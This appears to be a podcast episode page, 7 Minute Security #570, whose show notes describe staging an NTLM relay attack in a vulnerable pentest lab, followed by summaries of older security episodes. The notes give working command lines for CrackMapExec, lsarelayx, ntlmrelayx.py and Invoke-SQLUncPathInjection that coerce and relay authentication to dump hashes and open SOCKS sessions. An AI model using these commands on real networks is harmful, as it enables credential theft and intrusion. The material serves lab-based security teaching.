7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
7 Minute Security5 Touko 2023

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!

In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Jaksot(705)

7MS #9: Information Security for the Whole Family (audio)

7MS #9: Information Security for the Whole Family (audio)

In this episode I talk about how being an infosec guy has ruined my family's life (well, not really) Download: Episode 9: Information Security for the Whole Family (audio) Show notes: To keep peace in your household, I'd recommend making sweeping network changes when your family members aren't around (i.e. changing the wifi password :-)…

29 Maalis 20147min

7MS #8: CISSP – Is That the Cert for Me? (audio)

7MS #8: CISSP – Is That the Cert for Me? (audio)

In this episode I talk about my experience prepping for the CISSP exam. Download: Episode 8: CISSP – Is That the Cert for Me? (audio) Show notes: I used this book as my primary study tool. It comes with a whole slew of companion materials like a pre-assessment test, flashcards and 3 full practice exams.…

22 Maalis 20147min

7MS #7: External Vulnerabilities that Byte (audio)

7MS #7: External Vulnerabilities that Byte (audio)

Episode lucky #7!!! In this episode I talk about external network vulnerabilities that we see in many of our assessments – some of which are pretty easy to clear up. Download: Episode 7: External Vulnerabilities that Byte (audio) Show notes: RC4 – a risk that we find just about anywhere SSL is used, but in…

15 Maalis 20147min

7MS #6: Fun Firewall Rules – part 2 (audio)

7MS #6: Fun Firewall Rules – part 2 (audio)

In this episode I continue talking about some basic firewall rules that many organizations don't have in place. Download: Episode 6: Fun Firewall Rules – part 2 (audio) Show notes: Limit outbound DNS requests to just the ISP servers (or whatever external servers you use). Anytime a firewall rule is changed, perform a vulnerability scan…

8 Maalis 20147min

7MS #5: Fun Firewall Rules – part 1 (audio)

7MS #5: Fun Firewall Rules – part 1 (audio)

In this episode I talk about some basic firewall rules that many organizations don't have in place. Download: Episode 5: Fun Firewall Rules – part 1 (audio) Show notes: Block outbound port TCP 25 for all devices except your mail server(s). If you use a third party mail filter like Postini or Securence, ensure that…

1 Maalis 20147min

7MS #4: Patch Strategies: Part Deux (audio)

7MS #4: Patch Strategies: Part Deux (audio)

In this episode I continue talking about some dos and donts of patch strategies – this time talking about enterprise level gear. Download: Episode 4: Patch Strategies: Part Deux (audio) Show notes: There are often two trains of thought in regards to enterprise gear patching (like routers, switches, firewalls). 1. If it ain't broke, don't…

22 Helmi 20146min

7MS #3: Patch Strategies: Part 1 (audio)

7MS #3: Patch Strategies: Part 1 (audio)

In this episode I talk about some trends (and problems) we're seeing on the patching front – specifically OS and third-party apps. Download: Episode 3: Patch Strategies: Part 1 (audio) Show notes: Most organizations have the Microsoft side of the house patched well – but the third party apps (Java/Flash/Reader/etc.)? Not so much…but that's just…

13 Helmi 20147min

7MS #2: The Importance of Logging and Alerting! (audio)

7MS #2: The Importance of Logging and Alerting! (audio)

In this episode I talk about how a client of ours learned a hard lesson: that the lack of logging/alerting makes for a pretty miserable investigation after they were breached. Download: Episode 2: The Importance of Logging and Alerting! (audio) Show notes: Public-facing terminal servers without 2FA basically have a sign on their back that…

1 Helmi 20147min

Suosittua kategoriassa Politiikka ja uutiset

rss-ootsa-kuullut-tasta
aikalisa
tervo-halme
ootsa-kuullut-tasta-2
politiikan-puskaradio
viisupodi
rss-podme-livebox
et-sa-noin-voi-sanoo-esittaa
otetaan-yhdet
rss-vaalirankkurit-podcast
aihe
the-ulkopolitist
rss-polikulaari-humanisti-vastaa-ja-muut-ts-podcastit
rss-hyvaa-huomenta-bryssel
rss-kuka-mina-olen
politbyroo
linda-maria
rss-lets-talk-about-hair
rss-50100-podcast
rss-tekoalyfoorumi